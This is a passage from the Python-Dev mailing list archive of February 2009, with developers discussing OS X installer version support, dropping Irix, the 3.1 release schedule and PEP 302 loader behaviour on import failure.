either. For me, it's good enough if we believe that the installer
"should" work on 10.3.

Then, if somebody reports a problem, we can still consider what to do.
If there are no reports, it either means there are no problems, or
nobody uses it, or nobody bothers reporting the problems.

> That said, the difference between a binary capable of running on
> 10.4+ and one running 10.3+ is minimal. I introduced weak-linking for
> a number of symbols that are not present on 10.3.9 in the 2.5
> timeframe and that could should continue to work in the future. I
> won't notice when someone introduces additional calls to functions
> not available on 10.3 though.

Sounds good to me!

Regards,
Martin

From tjreedy at udel.edu  Sat Feb 14 19:09:12 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 14 Feb 2009 13:09:12 -0500
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <ca471dc20902140959v40e73876ta77456b6ee9d08f0@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	<49946F61.6020803@v.loewis.de>	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>	<499509FA.5030607@v.loewis.de>	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>	<49960207.3070507@v.loewis.de>	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>	<4996CE7C.9080109@v.loewis.de>
	<gn6to6$2ed$1@ger.gmane.org>
	<ca471dc20902140959v40e73876ta77456b6ee9d08f0@mail.gmail.com>
Message-ID: <gn71c7$bj2$2@ger.gmane.org>

Guido van Rossum wrote:
> Irix is long dead and we don't support it in any form or version.
> 
> On Sat, Feb 14, 2009 at 9:07 AM, Terry Reedy <tjreedy at udel.edu> wrote:
>> Can http://bugs.python.org/issue995458
>> "Does not build selected SGI specific modules"be closed?
>>
>> PEP11 lists Irix 4 as gone.  What about Irix 6?
>> http://www.python.org/dev/peps/pep-0011/
>>
>> Pep3108 notes that IRIX is no longer produced as of Dec 2006 and that Irix
>> specific modules are gone from Py3.
>> http://www.python.org/dev/peps/pep-3108/#irix
>> Does Py3 still have Irix 6 support?

I closed the tracker issue.  I will let Martin update PEP11.


From ajaksu at gmail.com  Sat Feb 14 19:14:09 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sat, 14 Feb 2009 16:14:09 -0200
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <gn6to6$2ed$1@ger.gmane.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
	<49960207.3070507@v.loewis.de>
	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>
	<4996CE7C.9080109@v.loewis.de> <gn6to6$2ed$1@ger.gmane.org>
Message-ID: <2d75d7660902141014m67a50baftba0058b9505978b9@mail.gmail.com>

Terry Reedy wrote:
> Can http://bugs.python.org/issue995458
> "Does not build selected SGI specific modules"be closed?
>
> PEP11 lists Irix 4 as gone.  What about Irix 6?
> http://www.python.org/dev/peps/pep-0011/

Thank you, thank you, thank you :)

Can I close these other IRIX issues?

http://bugs.python.org/issue2048
http://bugs.python.org/issue1086642
http://bugs.python.org/issue1178510
http://bugs.python.org/issue1070140

Do you know of other OSes (among commercial Unix, mostly) that could
also get the axe?

Regards,
Daniel

From stephen at xemacs.org  Sat Feb 14 19:19:57 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sun, 15 Feb 2009 03:19:57 +0900
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <ca471dc20902140902t1713a187gb01a44189ceb4fa0@mail.gmail.com>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<87d4dls06q.fsf@xemacs.org>
	<ca471dc20902140902t1713a187gb01a44189ceb4fa0@mail.gmail.com>
Message-ID: <878wo8swxe.fsf@xemacs.org>

Guido van Rossum writes:

 > Actually I expect that to be fairly common among people who are not so
 > much into technology, strapped for funds but appreciative of quality,
 > bought an expensive Mac once expecting it would last a long time, and
 > are hanging on to it until it dies (which could be a long time). Their
 > hardware may not support newer OS X versions.

I'm quite familiar with that.  Thing is, although I still have a
Panther box running, I gave up on updating *anything* on it when
Leopard came out, because I had to spend too much time fighting with
bitrot in packages which stopped working after upgrades on my Tiger
box, let alone on Panther.  The Panther box still does the stuff that
I want it to do, but it isn't going to learn any new tricks, I'm
afraid.

If that is a more general phenomenon, I have to wonder whether people
with old Macs with old OSes are going to be all that interested in
shiny new Pythons.

I think that the extra effort of building an extra installer for 10.4
will be well-repaid in better support for 10.5 users, and the option
of abandoning the 10.4 installer in a few months if it doesn't get
very many downloads.


From nad at acm.org  Sat Feb 14 19:44:44 2009
From: nad at acm.org (Ned Deily)
Date: Sat, 14 Feb 2009 10:44:44 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
	<499707A0.7000200@v.loewis.de>
Message-ID: <nad-2D2E7B.10444414022009@news.gmane.org>

In article <499707A0.7000200 at v.loewis.de>,
 "Martin v. Lowis" <martin at v.loewis.de> wrote:
> > That said, the difference between a binary capable of running on
> > 10.4+ and one running 10.3+ is minimal. I introduced weak-linking for
> > a number of symbols that are not present on 10.3.9 in the 2.5
> > timeframe and that could should continue to work in the future. I
> > won't notice when someone introduces additional calls to functions
> > not available on 10.3 though.
> 
> Sounds good to me!

That's fine as long as the distutils issue is resolved.  I believe the 
way things stand today is that a "fat" Python built with a deployment 
target of 10.3 will report a platform of "ppc" or "i386" even on 10.4 or 
10.5 systems and even though the extensions are, in fact, "fat".  This 
means developers who provide uploads to PyPI of packages with C 
extensions have to upload two versions even though the contents of both 
can be identical.  (The appscript has run into this problem.)   And it 
causes maintenance issues for users with multiple architectures.

With the target set to 10.4, the platform is reported correctly as 
"fat".  And, for 10.5 4-way, "universal".

-- 
 Ned Deily,
 nad at acm.org


From ronaldoussoren at mac.com  Sat Feb 14 19:53:37 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sat, 14 Feb 2009 19:53:37 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <499707A0.7000200@v.loewis.de>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
	<499707A0.7000200@v.loewis.de>
Message-ID: <FB94BC89-DE84-4C5C-9933-2FF2FE9B2E77@mac.com>


On 14 Feb, 2009, at 19:04, Martin v. L?wis wrote:

>> A single installer could support both 32-bit on 10.4 and 64-bit on
>> 10.5, but I don't think that's very useful because there are changes
>> in the low-level unix API's that could result in different behaviour
>> of a 32-bit and 64-bit script on the same system. In general 10.5 has
>> much saner Unix API's than earlier releases.
>
> I don't get that. Why would the scripts behave differently on 10.5
> depending on whether the Python interpreter is 32-bit or 64-bit?
> Surely, the Unix API does the same thing, whether invoked from 32-bit
> code, or 64-bit code, no?

I should have been more clear: the unix API for code that runs on
10.4 is slightly different than that for code that runs on 10.5+, Apple
basiclly fixed a number of UNIX API-compliance issues in 10.5.

Those differences might affect the behaviour of the Python interpreter,
and at least would make the configure stage even more involved for
such a build, because several configure-checks give different output
for MACOSX_DEPLOYMENT_TARGET=10.4 and MACOSX_DEPLOYMENT_TARGET=10.5.

I haven't checked yet if it is even possible to have a 64-bit binary
that runs on 10.4 and 10.5.

>
>
>>> I still wish there were 10.3+ installers that also include 64-bit
>>> code. I don't get it why that can't be technically possible.
>>
>> The problem with 10.3 support is that we need volunteers to actually
>> investigate and fix issues that only occur on 10.3 systems. I cannot
>> be that volunteer because I no longer have access to systems that are
>> capable of running 10.3.
>
> I don't think it is necessary to actually test whether the binaries
> work on 10.3; I don't test the Windows installers on Windows 2000,
> either. For me, it's good enough if we believe that the installer
> "should" work on 10.3.
>
> Then, if somebody reports a problem, we can still consider what to do.
> If there are no reports, it either means there are no problems, or
> nobody uses it, or nobody bothers reporting the problems.

I'm not 100% happy with this, but I could live with this. As long as  
Apple
ships a 10.3 SDK I might even be able to check for unsupported API
calls once in while.

Having thought a little more about the issues, I do think that we  
should provide
an installer that runs on as many systems as possible.  As Guido noted  
many
people don't bother to upgrade, and I'd expect many schools to be that
category as well (as an example of a type of organisation that's often  
lacking
in funding).

I need more time to think about the options, and I don't think there's  
a reason
to rush this and would prefer to discuss this issue at Pycon.

Ronald
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/3bbbd879/attachment.bin>

From nad at acm.org  Sat Feb 14 19:54:33 2009
From: nad at acm.org (Ned Deily)
Date: Sat, 14 Feb 2009 10:54:33 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<87d4dls06q.fsf@xemacs.org>
	<ca471dc20902140902t1713a187gb01a44189ceb4fa0@mail.gmail.com>
	<878wo8swxe.fsf@xemacs.org>
Message-ID: <nad-4DB9E4.10543314022009@news.gmane.org>

In article <878wo8swxe.fsf at xemacs.org>,
 "Stephen J. Turnbull" <stephen at xemacs.org> wrote:
> Guido van Rossum writes:
> 
>  > Actually I expect that to be fairly common among people who are not so
>  > much into technology, strapped for funds but appreciative of quality,
>  > bought an expensive Mac once expecting it would last a long time, and
>  > are hanging on to it until it dies (which could be a long time). Their
>  > hardware may not support newer OS X versions.
> 
> I'm quite familiar with that.  Thing is, although I still have a
> Panther box running, I gave up on updating *anything* on it when
> Leopard came out, because I had to spend too much time fighting with
> bitrot in packages which stopped working after upgrades on my Tiger
> box, let alone on Panther.  The Panther box still does the stuff that
> I want it to do, but it isn't going to learn any new tricks, I'm
> afraid.
> 
> If that is a more general phenomenon, I have to wonder whether people
> with old Macs with old OSes are going to be all that interested in
> shiny new Pythons.
> 
> I think that the extra effort of building an extra installer for 10.4
> will be well-repaid in better support for 10.5 users, and the option
> of abandoning the 10.4 installer in a few months if it doesn't get
> very many downloads.

You mentioned MacPorts earlier.  FWIW, here's their position on version 
support:

"We provide a single software tree that attempts to track the latest 
release of every software title (port) we distribute, without splitting 
them into "stable" Vs. "unstable" branches, targetting mainly the 
current Mac OS X release (10.5, A.K.A Leopard) and the immediately 
previous one (10.4, A.K.A. Tiger)."

And Fink, the other major open-source package provider for OS X, is even 
more explicit:

"The Fink project is no longer able to offer support for users of Fink 
on Mac OS X 10.3. In reality there has been very little support for some 
time, so this announcement simply formalizes that fact.
This means that there will not be any further updates, not even security 
updates, for Mac OS X 10.3 users. Their existing installations will 
continue to work, but the software that is installed will not be updated.
We believe that the majority of our users are using Mac OS X 10.4 or 
10.5 and hope that this does not inconvenience too many people."

-- 
 Ned Deily,
 nad at acm.org


From brett at python.org  Sat Feb 14 19:56:04 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 14 Feb 2009 10:56:04 -0800
Subject: [Python-Dev] The fate of 3.0.*
In-Reply-To: <loom.20090214T035434-886@post.gmane.org>
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
	<loom.20090214T035434-886@post.gmane.org>
Message-ID: <bbaeab100902141056r4326249cs62fb67839bfaecb1@mail.gmail.com>

Don't rely on me getting importlib bootstrapped in by 3.1. It would be great
if I pull it off, but I am afraid that is being optimistic. The library
itself should definitely be done, though.

On Feb 13, 2009 7:56 PM, "Antoine Pitrou" <solipsis at pitrou.net> wrote:

Benjamin Peterson <benjamin <at> python.org> writes: > > Are we going to
keep developing the 3.0 ma...
Focusing on 3.1 should be ok.
So what are the expected efforts for 3.1?
- io-in-C
- import-in-Python
- ... anything else?

Regards

Antoine.

_______________________________________________ Python-Dev mailing list
Python-Dev at python.org http...
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/69e0b436/attachment.htm>

From martin at v.loewis.de  Sat Feb 14 19:59:39 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 19:59:39 +0100
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <gn71c7$bj2$2@ger.gmane.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	<49946F61.6020803@v.loewis.de>	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>	<499509FA.5030607@v.loewis.de>	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>	<49960207.3070507@v.loewis.de>	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>	<4996CE7C.9080109@v.loewis.de>	<gn6to6$2ed$1@ger.gmane.org>	<ca471dc20902140959v40e73876ta77456b6ee9d08f0@mail.gmail.com>
	<gn71c7$bj2$2@ger.gmane.org>
Message-ID: <4997149B.4000804@v.loewis.de>

Terry Reedy wrote:
> Guido van Rossum wrote:
>> Irix is long dead and we don't support it in any form or version.
> 
> I closed the tracker issue.  I will let Martin update PEP11.

I think you misunderstand the purpose of PEP 11. It is not meant
as a repository of platforms not longer supported, but a list of
announcements of which systems will not be supported anymore in
*upcoming* releases.

It seems that the removal of Irix support has bypassed PEP 11.
Perhaps the PEP should be withdrawn.

Regards,
Martin

From ronaldoussoren at mac.com  Sat Feb 14 20:00:41 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sat, 14 Feb 2009 20:00:41 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-2D2E7B.10444414022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
	<499707A0.7000200@v.loewis.de>
	<nad-2D2E7B.10444414022009@news.gmane.org>
Message-ID: <7F8CAC31-2A32-412C-A0C2-77919B8EA51A@mac.com>


On 14 Feb, 2009, at 19:44, Ned Deily wrote:

> In article <499707A0.7000200 at v.loewis.de>,
> "Martin v. Lowis" <martin at v.loewis.de> wrote:
>>> That said, the difference between a binary capable of running on
>>> 10.4+ and one running 10.3+ is minimal. I introduced weak-linking  
>>> for
>>> a number of symbols that are not present on 10.3.9 in the 2.5
>>> timeframe and that could should continue to work in the future. I
>>> won't notice when someone introduces additional calls to functions
>>> not available on 10.3 though.
>>
>> Sounds good to me!
>
> That's fine as long as the distutils issue is resolved.  I believe the
> way things stand today is that a "fat" Python built with a deployment
> target of 10.3 will report a platform of "ppc" or "i386" even on  
> 10.4 or
> 10.5 systems and even though the extensions are, in fact, "fat".  This
> means developers who provide uploads to PyPI of packages with C
> extensions have to upload two versions even though the contents of  
> both
> can be identical.  (The appscript has run into this problem.)   And it
> causes maintenance issues for users with multiple architectures.
>
> With the target set to 10.4, the platform is reported correctly as
> "fat".  And, for 10.5 4-way, "universal".

Please file an issue for this at the python tracker. The intended  
behaviour
is that the reported platform is the platform that distutils can build  
for on
the current machine (ppc only on 10.3, "fat" on 10.4 and "universal"  
on 10.5,
given a 4-way build of python).

Getting the experience entire correct probably requires changes to other
tools as well (such as setuptools, it should be taught that a  
"universal" egg
can satisify a dependency when the current platform is "fat" or "ppc".

Issues like this is why I've asked on the pythonmac-sig if anyone is  
interested
on sprinting on macpython at Pycon. Getting these things correct takes  
time
and is much easier when several people can work on it at the same  
location.

Ronald

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/b43c80cb/attachment.bin>

From aleaxit at gmail.com  Sat Feb 14 20:01:39 2009
From: aleaxit at gmail.com (Alex Martelli)
Date: Sat, 14 Feb 2009 11:01:39 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-34F90E.03222214022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
Message-ID: <e8a0972d0902141101x4ec55722ud7cf9f861937aba6@mail.gmail.com>

On Sat, Feb 14, 2009 at 3:22 AM, Ned Deily <nad at acm.org> wrote:
   ...
> have done complete and thorough testing.  (In particular, I have no
> access to a G5 for 64-bit PPC testing.)

I have a PowerMac G5 at home and I'll be glad to run tests if it
helps.  (It runs 10.5: "family pack" licenses are cheap, so I've
always routinely upgraded all my home Macs to recent OSX releases).
(I'm not home during the weekend though).


Alex

From martin at v.loewis.de  Sat Feb 14 20:15:25 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 20:15:25 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <FB94BC89-DE84-4C5C-9933-2FF2FE9B2E77@mac.com>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
	<499707A0.7000200@v.loewis.de>
	<FB94BC89-DE84-4C5C-9933-2FF2FE9B2E77@mac.com>
Message-ID: <4997184D.7040306@v.loewis.de>

Ronald Oussoren wrote:
> 
> On 14 Feb, 2009, at 19:04, Martin v. L?wis wrote:
> 
>>> A single installer could support both 32-bit on 10.4 and 64-bit on
>>> 10.5, but I don't think that's very useful because there are changes
>>> in the low-level unix API's that could result in different behaviour
>>> of a 32-bit and 64-bit script on the same system. In general 10.5 has
>>> much saner Unix API's than earlier releases.
>>
>> I don't get that. Why would the scripts behave differently on 10.5
>> depending on whether the Python interpreter is 32-bit or 64-bit?
>> Surely, the Unix API does the same thing, whether invoked from 32-bit
>> code, or 64-bit code, no?
> 
> I should have been more clear: the unix API for code that runs on
> 10.4 is slightly different than that for code that runs on 10.5+, Apple
> basiclly fixed a number of UNIX API-compliance issues in 10.5.

So how come? Are you really saying that 10.5 somehow knows whether the
code might also run on 10.4, and if so, deliberately behaves
differently?

So that a Python interpreter compiled for 10.4+ would behave differently
on a specific 10.5 installation than a Python interpreter compiled for
10.5+, on the very same system?

If so, I'm -1 on providing two sets of binaries for the same Python
version (one in 10.4+ mode and one in 10.5+ mode). Otherwise, this
sounds like a good source of confusion: "are you using Python 3.1
as compiled for 10.4 or 3.1 as compiled for 10.5?" - "well, how
do I tell?"

Is this Apple's DLL hell?

Regards,
Martin


From greg.ewing at canterbury.ac.nz  Sat Feb 14 20:53:31 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sun, 15 Feb 2009 08:53:31 +1300
Subject: [Python-Dev] Small misleadingness in  docs
In-Reply-To: <gn6ud3$4a7$1@ger.gmane.org>
References: <49961E01.7000109@canterbury.ac.nz>
	<EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>
	<gn6062$efi$1@ger.gmane.org>
	<4996B2E9.8080600@canterbury.ac.nz> <gn6ud3$4a7$1@ger.gmane.org>
Message-ID: <4997213B.20800@canterbury.ac.nz>

Terry Reedy wrote:

> The new (in 3.0 and maybe 2.6, but undocumented) special methods 
> __instancecheck__ and __subclasscheck__ let one overload the default 
> behavior of isinstance and issubclass.

That's fine for 3.0, but I don't think the current behaviour
should be removed from any 2.x version, as it would make
writing code that works over multiple 2.x versions difficult.

-- 
Greg

From martin at v.loewis.de  Sat Feb 14 21:04:29 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 21:04:29 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-2D2E7B.10444414022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>	<nad-34F90E.03222214022009@news.gmane.org>	<4996B376.1070107@v.loewis.de>	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>	<499707A0.7000200@v.loewis.de>
	<nad-2D2E7B.10444414022009@news.gmane.org>
Message-ID: <499723CD.80404@v.loewis.de>

> That's fine as long as the distutils issue is resolved.

I don't think this should be a prerequisite. As Ronald says: no fix
without a bug report; if the system is capable of building the extension
correctly, it should do so (so it's a bug and fixes can be backported
to 2.6)

Regards,
Martin

From nad at acm.org  Sat Feb 14 22:11:09 2009
From: nad at acm.org (Ned Deily)
Date: Sat, 14 Feb 2009 13:11:09 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
	<499707A0.7000200@v.loewis.de>
	<nad-2D2E7B.10444414022009@news.gmane.org>
	<499723CD.80404@v.loewis.de>
Message-ID: <nad-D18D23.13110914022009@news.gmane.org>

In article <499723CD.80404 at v.loewis.de>,
 "Martin v. Lowis" <martin at v.loewis.de> wrote:
> > That's fine as long as the distutils issue is resolved.
> I don't think this should be a prerequisite. As Ronald says: no fix
> without a bug report; if the system is capable of building the extension
> correctly, it should do so (so it's a bug and fixes can be backported
> to 2.6)

And it turns out it should not be a problem for 3.x (and future releases 
of 2.x).  Ronald fixed it several weeks ago here:
  <http://bugs.python.org/issue4064>

Python 3.0.1 (r301:69597, Feb 14 2009, 19:03:52) 
[GCC 4.0.1 (Apple Inc. build 5490)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from distutils.util import get_platform; print(get_platform())
macosx-10.3-fat
>>> 

My apologies to Ronald and the cohort for not re-examining this 
recently.  The distutils "problem" isn't anymore.

-- 
 Ned Deily,
 nad at acm.org


From benjamin at python.org  Sat Feb 14 21:29:53 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Sat, 14 Feb 2009 14:29:53 -0600
Subject: [Python-Dev] draft 3.1 release schedule
Message-ID: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>

Here's a very tentative 3.1 release schedule.

3.1a1 March 7 (Saturday)
3.1a2 April 11 (Saturday)
3.1b1 May 2 (Saturday)
3.1b2 May 23 (Saturday)
3.1rc1 June 13 (Saturday)
3.1rc2 June 27 (Saturday)

I'm interested in your feedback with regards to the amount of time in
beta and RC phase. Do you think we need that much time? Otherwise, we
could move the final release back sometime in mid June.

-- 
Regards,
Benjamin

From tjreedy at udel.edu  Sat Feb 14 23:44:58 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 14 Feb 2009 17:44:58 -0500
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <4997149B.4000804@v.loewis.de>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	<49946F61.6020803@v.loewis.de>	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>	<499509FA.5030607@v.loewis.de>	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>	<49960207.3070507@v.loewis.de>	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>	<4996CE7C.9080109@v.loewis.de>	<gn6to6$2ed$1@ger.gmane.org>	<ca471dc20902140959v40e73876ta77456b6ee9d08f0@mail.gmail.com>	<gn71c7$bj2$2@ger.gmane.org>
	<4997149B.4000804@v.loewis.de>
Message-ID: <gn7hh9$pl7$1@ger.gmane.org>

Martin v. L?wis wrote:
> Terry Reedy wrote:
>> Guido van Rossum wrote:
>>> Irix is long dead and we don't support it in any form or version.
>> I closed the tracker issue.  I will let Martin update PEP11.
> 
> I think you misunderstand the purpose of PEP 11. It is not meant
> as a repository of platforms not longer supported,

However, that would be a useful purpose for people doing triage on 
tracker issues.

 > but a list of
> announcements of which systems will not be supported anymore in
> *upcoming* releases.
> 
> It seems that the removal of Irix support has bypassed PEP 11.

If the complete end of Irix support had been documented, I would not 
have had to ask and several other issues would have already been closed.

> Perhaps the PEP should be withdrawn.

Please no.

tjr


From bcannon at gmail.com  Sun Feb 15 07:07:07 2009
From: bcannon at gmail.com (Brett Cannon)
Date: Sat, 14 Feb 2009 22:07:07 -0800
Subject: [Python-Dev] clarifying PEP 302 loader responsibilities upon
	failure
In-Reply-To: <ca471dc20902091402o482280b1j9fa59b1b7a73e536@mail.gmail.com>
References: <0016364c5b2fb9b7de0462837147@google.com>
	<ca471dc20902091402o482280b1j9fa59b1b7a73e536@mail.gmail.com>
Message-ID: <bbaeab100902142207w545fd0eaoa6f83f3bf7f59607@mail.gmail.com>

On Mon, Feb 9, 2009 at 14:02, Guido van Rossum <guido at python.org> wrote:

> On Mon, Feb 9, 2009 at 1:56 PM,  <bcannon at gmail.com> wrote:
> > Guido and I were discussing what a loader should be responsible for when
> > load_module is called and an exception is raised in relation to
> sys.modules
> > as PEP 302 says nothing about the topic.
> >
> > We both agree that if the loader added a module to sys.modules it should
> be
> > removed, otherwise it should be left alone.
> >
> > Assuming no one disagrees I will update the PEP to specify that this is
> the
> > expected job of loaders.
>
> (Note that currently most loaders we've looked at end up removing the
> module unconditionally, as this is what PyImport_ExecCodeModuleEx()
> does. PyImport_ReloadModule() has a super-duper hack to save the
> module object and put it back into sys.modules:
>
>        if (newm == NULL) {
>                /* load_module probably removed name from modules because of
>                 * the error.  Put back the original module object.  We're
>                 * going to return NULL in this case regardless of whether
>                 * replacing name succeeds, so the return value is ignored.
>                 */
>                PyDict_SetItemString(modules, name, m);
>        }
>
> If we could get conforming loaders to behave as proposed, we wouldn't
> need this ugly hack.
>

PEP 302 was updated in r69632.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/0aa357f9/attachment.htm>

From ronaldoussoren at mac.com  Sun Feb 15 09:34:49 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sun, 15 Feb 2009 09:34:49 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <4997184D.7040306@v.loewis.de>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
	<499707A0.7000200@v.loewis.de>
	<FB94BC89-DE84-4C5C-9933-2FF2FE9B2E77@mac.com>
	<4997184D.7040306@v.loewis.de>
Message-ID: <1C78B16D-3559-45E5-AB61-BA76127FEAE4@mac.com>


On 14 Feb, 2009, at 20:15, Martin v. L?wis wrote:

> Ronald Oussoren wrote:
>>
>> On 14 Feb, 2009, at 19:04, Martin v. L?wis wrote:
>>
>>>> A single installer could support both 32-bit on 10.4 and 64-bit on
>>>> 10.5, but I don't think that's very useful because there are  
>>>> changes
>>>> in the low-level unix API's that could result in different  
>>>> behaviour
>>>> of a 32-bit and 64-bit script on the same system. In general 10.5  
>>>> has
>>>> much saner Unix API's than earlier releases.
>>>
>>> I don't get that. Why would the scripts behave differently on 10.5
>>> depending on whether the Python interpreter is 32-bit or 64-bit?
>>> Surely, the Unix API does the same thing, whether invoked from 32- 
>>> bit
>>> code, or 64-bit code, no?
>>
>> I should have been more clear: the unix API for code that runs on
>> 10.4 is slightly different than that for code that runs on 10.5+,  
>> Apple
>> basiclly fixed a number of UNIX API-compliance issues in 10.5.
>
> So how come? Are you really saying that 10.5 somehow knows whether the
> code might also run on 10.4, and if so, deliberately behaves
> differently?

Yes. OSX supports a variant of symbol versioning. The dynamic linker  
can see for which system a binary was compiler build and links the  
right version of a symbol at runtime.

There's the comment in the header files that defines the macro's used  
for symbol versioning:

/*
  * The __DARWIN_ALIAS macros are used to do symbol renaming; they allow
  * legacy code to use the old symbol, thus maintiang binary  
compatability
  * while new code can use a standards compliant version of the same  
function.
  *
  * __DARWIN_ALIAS is used by itself if the function signature has not
  * changed, it is used along with a #ifdef check for __DARWIN_UNIX03
  * if the signature has changed.  Because the __LP64__ enviroment
